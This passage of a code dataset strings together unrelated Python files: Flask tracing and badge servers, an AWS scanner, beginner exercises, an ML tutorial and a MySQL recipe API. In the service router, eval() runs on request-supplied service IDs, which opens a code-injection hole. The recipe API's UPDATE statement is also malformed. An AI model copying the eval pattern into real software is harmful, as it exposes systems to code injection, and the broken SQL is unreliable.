tracerArgs = func(*args, **kwargs)\n return tracerArgs\n return incomingTracer\n\ndef oneagent_outgoingTracer(func, url, headers):\n def outgoingTracer(*args, **kwargs):\n tracerObject = sdk.trace_outgoing_web_request(url, \"GET\")\n if tracerObject:\n with tracerObject:\n tag = outGoingTracer.outgoing_dynatrace_string_tag\n headers[DYNATRACE_HTTP_HEADER_NAME] = tag\n\n kwargs['outgoing_wreq'] = tracerObject\n kwargs['outgoingTracerHeaders'] = headers\n kwargs['url'] = url\n tracerArgs = func(*args, **kwargs)\n tracerObject.set_status_code(200)\n else:\n tracerArgs = func(*args, **kwargs)\n return tracerArgs\n return outgoingTracer\n\n\n\n@app.route(\"/\")\n@oneagent_incomingTrace\ndef hello(incoming_wreq):\n # do some things here\n incoming_wreq.set_status_code(200)\n return \"Hello World!\"\n\n\n@app.route(\"/anotherTest\")\n@oneagent_incomingTrace\ndef anotherTest(incoming_wreq):\n # do some things here\n incoming_wreq.set_status_code(200)\n return \"Hello World!\"\n\n\n@app.route(\"/outgoingflask\")\n@oneagent_incomingTrace\ndef outgoingflask(incoming_wreq):\n # Information already defined for outgoing requests\n headers = {\"Test\": \"things\"}\n url = \"http://127.0.0.1\"\n\n @oneagent_outgoingTracer(url, headers)\n def outgoingRequest(outgoing_wreq, outgoingTracerHeaders, url):\n response = requests.get(url, headers=outgoingTracerHeaders)\n print(response)\n return \"Hello World!\"\n\n\n# Tracer Decorator, allows easy instrumentation of each web request\n@app.route('/exampleDecoratorPath')\n@oneagent_incomingTrace # Web Tracer Decorator\ndef health(incoming_wreq):\n incoming_wreq.set_status_code(200)\n return \"Hello world!\"\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"decoratorExample/decoratorExample.py","file_name":"decoratorExample.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"195060685","text":"'''\nEscreva um programa que receba um número natural n na entrada e imprima n! (fatorial) na saída.\nExemplo:\nDigite o valor de n: 5\n120\n'''\nnumero = int(input('Digite o valor de n: '))\n\ndef fatorial(numero):\n\tif(numero == 0 or numero == 1):\n\t\treturn 1\n\telse:\n\t\treturn numero * fatorial(numero-1)\n\nprint(fatorial(numero))","sub_path":"semana04/exercicio01.py","file_name":"exercicio01.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"647201916","text":"# for with range\nlista = ['aa', 'vv', 'rr', 'rr', 'ff', 'hh', 'rr', 'ff', 'rr']\n\nlistx = []\n\nfor i in range(len(lista)):\n if lista[i] == 'rr':\n print(\"rr is at index\", i)\n listx.append(i)\n if len(listx) == 3:\n break\n\nprint(listx)\n","sub_path":"day3/flow_control/17_for.py","file_name":"17_for.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"337817398","text":"\"\"\"An AccountScanner scans a single account using an AccountScanPlan to define scan\nparameters\"\"\"\nfrom typing import List\n\nfrom altimeter.core.artifact_io.writer import ArtifactWriter\nfrom altimeter.aws.scan.settings import (\n RESOURCE_SPEC_CLASSES,\n INFRA_RESOURCE_SPEC_CLASSES,\n ORG_RESOURCE_SPEC_CLASSES,\n)\nfrom altimeter.aws.settings import GRAPH_NAME, GRAPH_VERSION\nfrom altimeter.aws.scan.base_scanner import BaseScanner, GetSessionType\n\n\nclass AccountScanner(BaseScanner): # pylint: disable=too-few-public-methods\n \"\"\"An AccountScanner scans a single account using an AccountScanPlan to define scan parameters\n and writes the output using an ArtifactWriter.\n\n Args:\n account_id: account id to scan\n regions: regions to scan\n get_session: callable that can get a session in this account_id\n artifact_writer: ArtifactWriter for writing out artifacts\n scan_sub_accounts: if set to True, if this account is an org master any subaccounts\n of that org will also be scanned.\n graph_name: name of graph\n graph_version: version string for graph\n max_svc_threads: max number of scan threads to run concurrently.\n \"\"\"\n\n def __init__(\n self,\n account_id: str,\n regions: List[str],\n get_session: GetSessionType,\n artifact_writer: ArtifactWriter,\n scan_sub_accounts: bool,\n max_svc_threads: int,\n graph_name: str = GRAPH_NAME,\n graph_version: str = GRAPH_VERSION,\n ) -> None:\n resource_spec_classes = RESOURCE_SPEC_CLASSES + INFRA_RESOURCE_SPEC_CLASSES\n if scan_sub_accounts:\n resource_spec_classes += ORG_RESOURCE_SPEC_CLASSES\n super().__init__(\n account_id=account_id,\n regions=regions,\n get_session=get_session,\n artifact_writer=artifact_writer,\n max_svc_threads=max_svc_threads,\n graph_name=graph_name,\n graph_version=graph_version,\n resource_spec_classes=resource_spec_classes,\n )\n","sub_path":"altimeter/aws/scan/account_scanner.py","file_name":"account_scanner.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"597153764","text":"from dataPlatform import *\n\n#做为服务的路由功能\ndef invoke(request):\n # 根据服务的前两位找到对应的服务类 , 并该返回服务对应的类\n servaice_class = eval(request.service_id[0:2] + '_invoke(request)')\n\n if servaice_class is None:\n param = {}\n param['error'] = '没有找到该服务ID'\n else:\n # 根据服务ID调用服务处理数据\n eval('servaice_class.'+request.service_id+'()')\n # 服务完成后获取返回的参数\n param = servaice_class.return_param()\n return param\n\n#平台系统\ndef pf_invoke(request):\n service_id = request.service_id\n if service_id[0:4] == 'pfus':\n job = SystemUser(request)\n # 平台服务管理\n elif service_id[0:4] == 'pfsm':\n job = ServiceManage(request)\n # 平台模块&系统管理\n elif service_id[0:4] == 'pfso':\n job = SystemModule(request)\n # 平台系统菜单管理\n elif service_id[0:4] == 'pfsu':\n job = SystemMuen(request)\n else:\n job = None\n return job\n\n#教程内容管理系统couse\ndef cs_invoke(request):\n service_id = request.service_id\n if service_id[0:4] == 'csuu':\n job = SystemUser(request)\n else:\n job = None\n return job\n\n#人力资源管理系统\ndef hr_invoke(request):\n service_id = request.service_id\n if service_id[0:4] == 'hruu':\n job = SystemUser(request)\n else:\n job = None\n return job","sub_path":"tools/ServiceRoute.py","file_name":"ServiceRoute.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"652340138","text":"# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nURL for creating the badge:\n[TODO] Switch to use pybadges once figure out the module not found issue.\n'https://img.shields.io/badge/{name}-{status}-{color}.svg'\n\"\"\"\nimport datetime\nimport logging\nimport requests\nimport threading\n\n\nimport flask\nimport pybadges\n\nimport utils as badge_utils\nfrom compatibility_lib import configs\nfrom compatibility_lib import utils\nfrom compatibility_lib import package as package_module\n\n\napp = flask.Flask(__name__)\n\ncache = badge_utils.initialize_cache()\n\n\ndef _get_result_from_cache(\n package_name: str,\n badge_type: badge_utils.BadgeType,\n commit_number: str = None) -> dict:\n \"\"\"Get check result from cache.\"\"\"\n # Return unknown if package not in whitelist\n if not utils._is_package_in_whitelist([package_name]):\n result = badge_utils._build_default_result(\n badge_type=badge_type,\n status='UNKNOWN',\n details={})\n # Get the result from cache, return None if not in cache\n else:\n package_key = '{}_{}'.format(\n package_name, commit_number) if commit_number else package_name\n result = cache.get('{}_{}'.format(package_key, badge_type.value))\n\n if result is None:\n result = badge_utils._build_default_result(\n badge_type=badge_type,\n status='CALCULATING',\n details={})\n\n return result\n\n\ndef _get_pair_status_for_packages(pkg_sets):\n \"\"\"Get the pairwise dependency compatibility check result for packages.\n\n Rules:\n - Return warning status if not compatible with any of the listed\n Google owned Python packages. Whole list in compatibility_lib.config.\n - Ignore the warning status if:\n - The package doesn't support one of the Python versions.\n - The package's pair is not self compatible, which means the\n pairwise conflict isn't related to the package being checked.\n - Return success status if compatible with all the list of Google owned\n Python packages.\n \"\"\"\n version_and_res = {\n 'py2': {\n 'status': 'SUCCESS',\n 'details': {},\n },\n 'py3': {\n 'status': 'SUCCESS',\n 'details': {},\n }\n }\n for pkg_set in pkg_sets:\n pkgs = [package_module.Package(pkg) for pkg in pkg_set]\n pair_res = badge_utils.store.get_pair_compatibility(pkgs)\n\n for res in pair_res:\n py_version = badge_utils.PY_VER_MAPPING[res.python_major_version]\n # Status showing one of the check failures\n if res.status.value != 'SUCCESS':\n # Ignore the package that not support for given py_ver\n if pkg_set[1] in \\\n configs.PKG_PY_VERSION_NOT_SUPPORTED.get(\n res.python_major_version):\n continue\n # Ignore the package that are not self compatible\n self_status = _get_result_from_cache(\n package_name=pkg_set[1],\n badge_type=badge_utils.BadgeType.SELF_COMP_BADGE)\n if self_status[py_version]['status'] != 'SUCCESS':\n continue\n version_and_res[py_version]['status'] = res.status.value\n version_and_res[py_version]['details'][pkg_set[1]] = \\\n res.details if res.details is not None \\\n else badge_utils.EMPTY_DETAILS\n return version_and_res\n\n\ndef _get_all_results_from_cache(package_name, commit_number=None):\n \"\"\"Get all the check results from cache.\n\n Rules:\n - Return success status if all the check results are success.\n - Otherwise return warning status.\n \"\"\"\n self_compat_res = _get_result_from_cache(\n package_name=package_name,\n badge_type=badge_utils.BadgeType.SELF_COMP_BADGE,\n commit_number=commit_number)\n google_compat_res = _get_result_from_cache(\n package_name=package_name,\n badge_type=badge_utils.BadgeType.GOOGLE_COMP_BADGE,\n commit_number=commit_number)\n dependency_res = _get_result_from_cache(\n package_name=package_name,\n badge_type=badge_utils.BadgeType.DEP_BADGE,\n commit_number=commit_number)\n\n if self_compat_res['py3']['status'] == 'SUCCESS' and \\\n google_compat_res['py3']['status'] == 'SUCCESS' and \\\n dependency_res['status'] == 'UP_TO_DATE':\n status = 'SUCCESS'\n elif 'CALCULATING' in (\n self_compat_res['py3']['status'],\n google_compat_res['py3']['status'],\n dependency_res['status']\n ):\n status = 'CALCULATING'\n elif 'UNKNOWN' in (\n self_compat_res['py3']['status'],\n google_compat_res['py3']['status'],\n dependency_res['status']\n ):\n status = 'UNKNOWN'\n else:\n status = 'CHECK_WARNING'\n\n # Get the latest timestamp\n self_ts = self_compat_res.get('timestamp', '')\n google_ts = google_compat_res.get('timestamp', '')\n dep_ts = dependency_res.get('timestamp', '')\n ts_list = [self_ts, google_ts, dep_ts]\n ts_list.sort(reverse=True)\n timestamp = ts_list[0] if ts_list else ''\n\n return status, timestamp, \\\n self_compat_res, google_compat_res, dependency_res\n\n\n@app.route('/')\ndef greetings():\n \"\"\"This is for testing the server health.\"\"\"\n return 'hello world'\n\n\n@app.route('/one_badge_image')\ndef one_badge_image():\n \"\"\"Generate the badge for all the checks.\"\"\"\n package_name = flask.request.args.get('package')\n badge_name = flask.request.args.get('badge_name')\n is_github = False\n\n if badge_name is None:\n badge_name = package_name\n\n if 'github.com' in badge_name:\n badge_name = badge_utils.GITHUB_HEAD_NAME\n is_github = True\n\n commit_number = badge_utils._calculate_commit_number(package_name)\n\n force_run_check = flask.request.args.get('force_run_check')\n # Remove the last '/' from the url root\n url_prefix = flask.request.url_root[:-1]\n # Call the url for each badge to run the checks. This will populate the\n # individual caches, which are used to calculate the final image state.\n # Self compatibility badge\n requests.get(url_prefix + flask.url_for(\n 'self_compatibility_badge_image',\n package=package_name,\n force_run_check=force_run_check,\n commit_number=commit_number))\n # Google compatibility badge\n requests.get(url_prefix + flask.url_for(\n 'google_compatibility_badge_image',\n package=package_name,\n force_run_check=force_run_check,\n commit_number=commit_number))\n # Self dependency badge\n requests.get(url_prefix + flask.url_for(\n 'self_dependency_badge_image',\n package=package_name,\n force_run_check=force_run_check,\n commit_number=commit_number))\n\n status, timestamp, _, _, _ = _get_all_results_from_cache(\n package_name, commit_number=commit_number)\n color = badge_utils.STATUS_COLOR_MAPPING[status]\n\n details_link = url_prefix + flask.url_for('one_badge_target',\n package=package_name)\n\n # Include the check timestamp for github head\n if is_github and timestamp:\n badge_name = '{} {}'.format(badge_name, timestamp)\n\n response = flask.make_response(\n pybadges.badge(\n left_text=badge_name,\n right_text=status,\n right_color=color,\n whole_link=details_link))\n response.content_type = badge_utils.SVG_CONTENT_TYPE\n response.headers['Cache-Control'] = 'no-cache'\n response.add_etag()\n\n return response\n\n\n@app.route('/one_badge_target')\ndef one_badge_target():\n package_name = flask.request.args.get('package')\n commit_number = badge_utils._calculate_commit_number(package_name)\n\n status, _, self_compat_res, google_compat_res, dependency_res = \\\n _get_all_results_from_cache(package_name, commit_number)\n\n return flask.render_template(\n 'one-badge.html',\n package_name=package_name,\n self_compat_res=self_compat_res,\n google_compat_res=google_compat_res,\n dependency_res=dependency_res,\n commit_number=commit_number)\n\n\n@app.route('/self_compatibility_badge_image')\ndef self_compatibility_badge_image():\n \"\"\"Badge showing whether a package is compatible with itself.\"\"\"\n package_name = flask.request.args.get('package')\n force_run_check = flask.request.args.get('force_run_check')\n commit_number = flask.request.args.get('commit_number')\n\n badge_name = flask.request.args.get('badge_name')\n package_key = '{}_{}'.format(\n package_name, commit_number) if commit_number else package_name\n\n if badge_name is None:\n badge_name = 'self compatibility'\n\n version_and_res = badge_utils._build_default_result(\n badge_type=badge_utils.BadgeType.SELF_COMP_BADGE,\n status='CALCULATING',\n details=None)\n\n def run_check():\n # First see if this package is already stored in BigQuery.\n package = package_module.Package(package_name)\n compatibility_status = badge_utils.store.get_self_compatibility(\n package)\n if compatibility_status:\n for res in compatibility_status:\n py_version = badge_utils.PY_VER_MAPPING[\n res.python_major_version]\n version_and_res[py_version]['status'] = res.status.value\n version_and_res[py_version]['details'] = res.details \\\n if res.details is not None else badge_utils.EMPTY_DETAILS\n\n # If not pre stored in BigQuery, run the check for the package.\n else:\n py2_res = badge_utils.checker.check([package_name], '2')\n py3_res = badge_utils.checker.check([package_name], '3')\n\n version_and_res['py2']['status'] = py2_res.get('result')\n py2_description = py2_res.get('description')\n py2_details = badge_utils.EMPTY_DETAILS if py2_description \\\n is None else py2_description\n version_and_res['py2']['details'] = py2_details\n version_and_res['py3']['status'] = py3_res.get('result')\n py3_description = py3_res.get('description')\n py3_details = badge_utils.EMPTY_DETAILS if py3_description \\\n is None else py3_description\n version_and_res['py3']['details'] = py3_details\n\n # Add the timestamp\n version_and_res['timestamp'] = datetime.datetime.now().strftime(\n badge_utils.TIMESTAMP_FORMAT)\n\n # Write the result to Cloud Datastore\n cache.set('{}_self_comp_badge'.format(package_key), version_and_res)\n\n if not utils._is_package_in_whitelist([package_name]):\n self_comp_res = badge_utils._build_default_result(\n badge_type=badge_utils.BadgeType.SELF_COMP_BADGE,\n status='UNKNOWN',\n details=badge_utils.PACKAGE_NOT_SUPPORTED)\n else:\n self_comp_res = cache.get('{}_self_comp_badge'.format(package_key))\n\n if self_comp_res is None:\n details = version_and_res\n else:\n details = self_comp_res\n\n # Run the check if details is None or forced to populate the cache or\n # the cache is outdated.\n if self_comp_res is None or force_run_check is not None:\n threading.Thread(target=run_check).start()\n elif self_comp_res is not None:\n timestamp = self_comp_res.get('timestamp')\n if not badge_utils._is_github_cache_valid(timestamp):\n threading.Thread(target=run_check).start()\n\n badge = badge_utils._get_badge(details, badge_name)\n response = flask.make_response(badge)\n response.content_type = badge_utils.SVG_CONTENT_TYPE\n response.headers['Cache-Control'] = 'no-cache'\n response.add_etag()\n\n return response\n\n\n@app.route('/self_compatibility_badge_target')\ndef self_compatibility_badge_target():\n \"\"\"Return the dict which contains the self compatibility status and details\n for py2 and py3.\n\n e.g. {\n 'py2':{\n 'status': 'SUCCESS',\n 'details': None,\n },\n 'py3':{\n 'status': 'CHECK_WARNING',\n 'details': '...',\n }\n }\n \"\"\"\n package_name = flask.request.args.get('package')\n result_dict = _get_result_from_cache(\n package_name=package_name,\n badge_type=badge_utils.BadgeType.SELF_COMP_BADGE)\n\n return flask.render_template(\n 'self-compatibility.html',\n package_name=package_name,\n result=result_dict)\n\n\n@app.route('/self_dependency_badge_image')\ndef self_dependency_badge_image():\n \"\"\"Badge showing whether a package is has outdated dependencies.\"\"\"\n\n package_name = flask.request.args.get('package')\n force_run_check = flask.request.args.get('force_run_check')\n commit_number = flask.request.args.get('commit_number')\n\n badge_name = flask.request.args.get('badge_name')\n package_key = '{}_{}'.format(\n package_name, commit_number) if commit_number else package_name\n\n if badge_name is None:\n badge_name = 'dependency status'\n\n def run_check():\n res = {\n 'status': 'UP_TO_DATE',\n 'details': {},\n 'timestamp': '',\n }\n details = {}\n outdated = badge_utils.highlighter.check_package(package_name)\n deprecated_deps_list = badge_utils.finder.get_deprecated_dep(\n package_name)[1]\n deprecated_deps = ', '.join(deprecated_deps_list)\n\n max_level = badge_utils.priority_level.UP_TO_DATE\n for dep in outdated:\n dep_detail = {}\n level = dep.priority.level\n if level.value > max_level.value:\n max_level = level\n dep_detail['installed_version'] = dep.installed_version\n dep_detail['latest_version'] = dep.latest_version\n dep_detail['priority'] = dep.priority.level.name\n dep_detail['detail'] = dep.priority.details\n details[dep.name] = dep_detail\n res['status'] = max_level.name\n res['details'] = details\n res['deprecated_deps'] = deprecated_deps\n res['timestamp'] = datetime.datetime.now().strftime(\n badge_utils.TIMESTAMP_FORMAT)\n\n # Write the result to Cloud Datastore\n cache.set('{}_dependency_badge'.format(package_key), res)\n\n if not utils._is_package_in_whitelist([package_name]):\n dependency_res = badge_utils._build_default_result(\n badge_type=badge_utils.BadgeType.DEP_BADGE,\n status='UNKNOWN',\n details={})\n else:\n dependency_res = cache.get('{}_dependency_badge'.format(package_key))\n\n if dependency_res is None:\n details = badge_utils.DEFAULT_DEPENDENCY_RESULT\n else:\n details = dependency_res\n\n # Run the check if dependency_res is None or forced to populate the cache\n # or the cache is outdated.\n if dependency_res is None or force_run_check is not None:\n threading.Thread(target=run_check).start()\n elif dependency_res is not None:\n timestamp = dependency_res.get('timestamp')\n if not badge_utils._is_github_cache_valid(timestamp):\n threading.Thread(target=run_check).start()\n\n badge = badge_utils._get_badge(details, badge_name)\n response = flask.make_response(badge)\n response.content_type = badge_utils.SVG_CONTENT_TYPE\n response.headers['Cache-Control'] = 'no-cache'\n response.add_etag()\n\n return response\n\n\n@app.route('/self_dependency_badge_target')\ndef self_dependency_badge_target():\n \"\"\"Return a dict that contains dependency status and details.\"\"\"\n package_name = flask.request.args.get('package')\n result_dict = _get_result_from_cache(\n package_name=package_name,\n badge_type=badge_utils.BadgeType.DEP_BADGE)\n\n return flask.render_template(\n 'dependency-result.html',\n package_name=package_name,\n result=result_dict)\n\n\n@app.route('/google_compatibility_badge_image')\ndef google_compatibility_badge_image():\n \"\"\"Badge showing whether a package is compatible with Google OSS Python\n packages. If all packages success, status is SUCCESS; else set status\n to one of the failure types, details can be found at the target link.\"\"\"\n package_name = flask.request.args.get('package')\n force_run_check = flask.request.args.get('force_run_check')\n commit_number = flask.request.args.get('commit_number')\n\n badge_name = flask.request.args.get('badge_name')\n package_key = '{}_{}'.format(\n package_name, commit_number) if commit_number else package_name\n\n if badge_name is None:\n badge_name = 'google compatibility'\n\n def run_check():\n pkg_sets = [[package_name, pkg] for pkg in configs.PKG_LIST]\n if package_name in configs.PKG_LIST:\n result = _get_pair_status_for_packages(pkg_sets)\n else:\n version_and_res = {\n 'py2': {\n 'status': 'SUCCESS',\n 'details': {},\n },\n 'py3': {\n 'status': 'SUCCESS',\n 'details': {},\n },\n 'timestamp': '',\n }\n\n for py_ver in [2, 3]:\n results = list(badge_utils.checker.get_pairwise_compatibility(\n py_ver, pkg_sets))\n logging.warning(results)\n py_version = badge_utils.PY_VER_MAPPING[py_ver]\n\n for res in results:\n res_item = res[0]\n status = res_item.get('result')\n package = res_item.get('packages')[1]\n if status != 'SUCCESS':\n # Ignore the package that not support for given py_ver\n if package in \\\n configs.PKG_PY_VERSION_NOT_SUPPORTED.get(\n py_ver):\n continue\n\n # Ignore the package that are not self compatible\n self_status = _get_result_from_cache(\n package_name=package_name,\n badge_type=badge_utils.BadgeType.SELF_COMP_BADGE)\n if self_status[py_version]['status'] not in [\n 'SUCCESS', 'CALCULATING']:\n continue\n # Status showing one of the check failures\n version_and_res[\n py_version]['status'] = res_item.get('result')\n description = res_item.get('description')\n details = badge_utils.EMPTY_DETAILS if description \\\n is None else description\n version_and_res[\n py_version]['details'][package] = details\n version_and_res['timestamp'] = datetime.datetime.now().strftime(\n badge_utils.TIMESTAMP_FORMAT)\n result = version_and_res\n\n # Write the result to Cloud Datastore\n cache.set('{}_google_comp_badge'.format(package_key), result)\n\n google_comp_res = cache.get('{}_google_comp_badge'.format(package_key))\n\n if not utils._is_package_in_whitelist([package_name]):\n google_comp_res = badge_utils._build_default_result(\n badge_type=badge_utils.BadgeType.GOOGLE_COMP_BADGE,\n status='UNKNOWN',\n details={})\n\n if google_comp_res is None:\n details = badge_utils._build_default_result(\n badge_type=badge_utils.BadgeType.GOOGLE_COMP_BADGE,\n status='CALCULATING',\n details={})\n else:\n details = google_comp_res\n\n # Run the check if google_comp_res is None or forced to populate the cache\n # or the cache is outdated.\n if google_comp_res is None or force_run_check is not None:\n threading.Thread(target=run_check).start()\n elif google_comp_res is not None:\n timestamp = google_comp_res.get('timestamp')\n if not badge_utils._is_github_cache_valid(timestamp):\n threading.Thread(target=run_check).start()\n\n badge = badge_utils._get_badge(details, badge_name)\n response = flask.make_response(badge)\n response.content_type = badge_utils.SVG_CONTENT_TYPE\n response.headers['Cache-Control'] = 'no-cache'\n response.add_etag()\n\n return response\n\n\n@app.route('/google_compatibility_badge_target')\ndef google_compatibility_badge_target():\n \"\"\"Return the dict which contains the compatibility status with google\n packages and details for py2 and py3.\n\n e.g. {\n 'py2':{\n 'status': 'SUCCESS',\n 'details': None,\n },\n 'py3':{\n 'status': 'CHECK_WARNING',\n 'details': {\n 'package1': '...',\n },\n }\n }\n \"\"\"\n package_name = flask.request.args.get('package')\n result_dict = _get_result_from_cache(\n package_name=package_name,\n badge_type=badge_utils.BadgeType.GOOGLE_COMP_BADGE)\n\n return flask.render_template(\n 'google-compatibility.html',\n package_name=package_name,\n result=result_dict)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080)\n","sub_path":"badge_server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"352965242","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 23 11:22:19 2017\n\n@author: f1701\n\"\"\"\n\n# 必要なライブラリのインポート\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\nfrom sklearn.datasets import load_boston\n# データのロード、マージ\nboston = load_boston()\ndf = DataFrame(boston.data, columns = boston.feature_names)\ndf['MEDV'] = np.array(boston.target)\n\n# 説明変数、目的変数\nX = df.iloc[:, :-1].values\ny = df.loc[:, 'MEDV'].values\n# 学習用、検証用データに分割\nfrom sklearn.cross_validation import train_test_split\n(X_train, X_test, y_train, y_test) = train_test_split(X, y, test_size = 0.1, random_state = 666)\n\n# 必要なライブラリのインポート\nfrom sklearn.ensemble import RandomForestRegressor\n# モデル構築、パラメータはデフォルト\nforest = RandomForestRegressor()\nforest.fit(X_train, y_train)\n\n\n# 予測値を計算\ny_train_pred = forest.predict(X_train)\ny_test_pred = forest.predict(X_test)\n# MSEの計算\nfrom sklearn.metrics import mean_squared_error\n# R^2の計算\nfrom sklearn.metrics import r2_score\n\n# 出力\nprint('MSE train : %.3f, test : %.3f' % (mean_squared_error(y_train, y_train_pred), mean_squared_error(y_test, y_test_pred)) )\nprint('MSE train : %.3f, test : %.3f' % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred)) )\n\n# matplotlibを呼び出し、あとおまじない\nimport matplotlib.pyplot as plt\n\nplt.figure(figsize = (10, 7))\nplt.scatter(y_train_pred, y_train_pred - y_train, c = 'black', marker = 'o', s = 35, alpha = 0.5, label = 'Training data')\nplt.scatter(y_test_pred, y_test_pred - y_test, c = 'lightgreen', marker = 's', s = 35, alpha = 0.7, label = 'Test data')\nplt.xlabel('Predicted values')\nplt.ylabel('Residuals')\nplt.legend(loc = 'upper left')\nplt.hlines(y = 0, xmin = -10, xmax = 50, lw = 2, color = 'red')\nplt.xlim([-10, 50])\nplt.show()\n\nprint(\"##################### ここからグリッドリサーチ####################\")\n\n# 必要なライブラリのインポート\nfrom sklearn.grid_search import GridSearchCV\n# 動かすパラメータを明示的に表示、今回は決��木の数を変えてみる\nparams = {'n_estimators' : [3, 10, 100, 1000, 10000], 'n_jobs': [-1]}\n\n# モデルにインスタンス生成\nmod = RandomForestRegressor()\n# ハイパーパラメータ探索\ncv = GridSearchCV(mod, params, cv = 10, scoring= 'mean_squared_error', n_jobs =1)\ncv.fit(X_train, y_train)\n\n# 予測値を計算\ny_train_pred = forest.predict(X_train)\ny_test_pred = forest.predict(X_test)\n# 出力\nprint('MSE train : %.3f, test : %.3f' % (mean_squared_error(y_train, y_train_pred), mean_squared_error(y_test, y_test_pred)) )\nprint('R2 train : %.3f, test : %.3f' % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred)) )\n\n### 参考URL: http://tekenuko.hatenablog.com/entry/2016/09/20/222453\n\n","sub_path":"RamdomForest_sample.py","file_name":"RamdomForest_sample.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"650042748","text":"import pymysql\nfrom task2 import app\nfrom db_config import mysql\nfrom flask import jsonify\nfrom flask import request\n\n\n@app.route('/av_on_toast')\ndef av_on_toast_recipe():\n\t\"\"\"\n\tThis function should query the database to display the entire list of\n\tingredients for avoacado on toast\n\t:return:\n\t\"\"\"\n\ttry:\n\t\t# connect to the database\n\t conn = mysql.connect()\n\t cursor = conn.cursor(pymysql.cursors.DictCursor)\n\t\t# execute the basic query\n\t cursor.execute(\"SELECT * FROM av_on_toast\")\n\t\t# fetch the rows\n\t rows = cursor.fetchall()\n\t resp = jsonify(rows)\n\t resp.status_code = 200\n\t return resp\n\texcept Exception as message:\n\t\tprint(message)\n\tfinally:\n\t\t# close the connection\n\t\tcursor.close()\n\t\tconn.close()\n\n@app.route('/guacamole')\ndef guacamole_recipe():\n\t\"\"\"\n\t\tThis function should query the database to display the entire list of\n\t\tingredients for guacamole\n\t\t:return:\n\t\t\"\"\"\n\ttry:\n\t\tconn = mysql.connect()\n\t\tcursor = conn.cursor(pymysql.cursors.DictCursor)\n\t\tcursor.execute(\"SELECT * FROM guacamole\")\n\t\trows = cursor.fetchall()\n\t\tresp = jsonify(rows)\n\t\tresp.status_code = 200\n\t\treturn resp\n\texcept Exception as message:\n\t\tprint(message)\n\tfinally:\n\t\tcursor.close()\n\t\tconn.close()\n\n@app.route('/update_av_on_toast', methods=['POST'])\ndef update_av_on_toast():\n\t\"\"\"\n\t\tThis function should allow the user to update the avocado on toast\n\t\tdatabase with different preparation styles for the existing ingredients\n\t\t:return:\n\t\t\"\"\"\n\ttry:\n\t\t# request input data as json\n\t\t_json = request.json\n\t\t_id = _json['ingredient_id']\n\t\t_ingredient = _json['ingredient_name']\n\t\t_prep = _json['preparation style']\n\t\t# validate the received values\n\t\tif _ingredient and _prep and _id and request.method == 'POST':\n\t\t\t# use the input values to update the table\n\t\t\tsql = \"\"\"UPDATE av_on_toast SET preparation style=%s, \n\t\t\tingredient_name=%s, preparation style =%s WHERE ingredient_id=%s\"\"\"\n\t\t\tdata = (_prep, _ingredient, _prep, _id,)\n\t\t\tconn = mysql.connect()\n\t\t\tcursor = conn.cursor()\n\t\t\tcursor.execute(sql, data)\n\t\t\tconn.commit()\n\t\t\tresp = jsonify('Ingredients updated successfully!')\n\t\t\tresp.status_code = 200\n\t\t\treturn resp\n\t\telse:\n\t\t\treturn not_found()\n\texcept Exception as e:\n\t\tprint(e)\n\tfinally:\n\t\tcursor.close()\n\t\tconn.close()\n\n@app.errorhandler(404)\ndef not_found(error=None):\n\t\"\"\"\n\t\tBasic error handling if the query is not found\n\t\"\"\"\n\tmessage = {\n 'status': 404,\n 'message': 'Not Found: ' + request.url,\n }\n\tresp = jsonify(message)\n\tresp.status_code = 404\n\treturn resp\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"task2folder/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"600351906","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/lib/python2.7/site-packages/guessit/transfo/guess_country.py\n# Compiled at: 2013-03-18 16:30:48\nfrom __future__ import unicode_literals\nfrom guessit.country import Country\nfrom guessit import Guess\nimport logging\nlog = logging.getLogger(__name__)\ncountry_common_words = frozenset([b'bt', b'bb'])\n\ndef process(mtree):\n for node in mtree.unidentified_leaves():\n if len(node.node_idx) == 2:\n c = node.value[1:-1].lower()\n if c in country_common_words:\n continue\n if node.value[0] + node.value[(-1)] not in ('()', '[]', '{}'):\n continue\n try:\n country = Country(c, strict=True)\n except ValueError:\n continue\n\n node.guess = Guess(country=country, confidence=1.0)","sub_path":"pycfiles/subtle-0.5.linux-i686.tar/guess_country.py","file_name":"guess_country.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"142985838","text":"import json\n\nimport torch\nimport 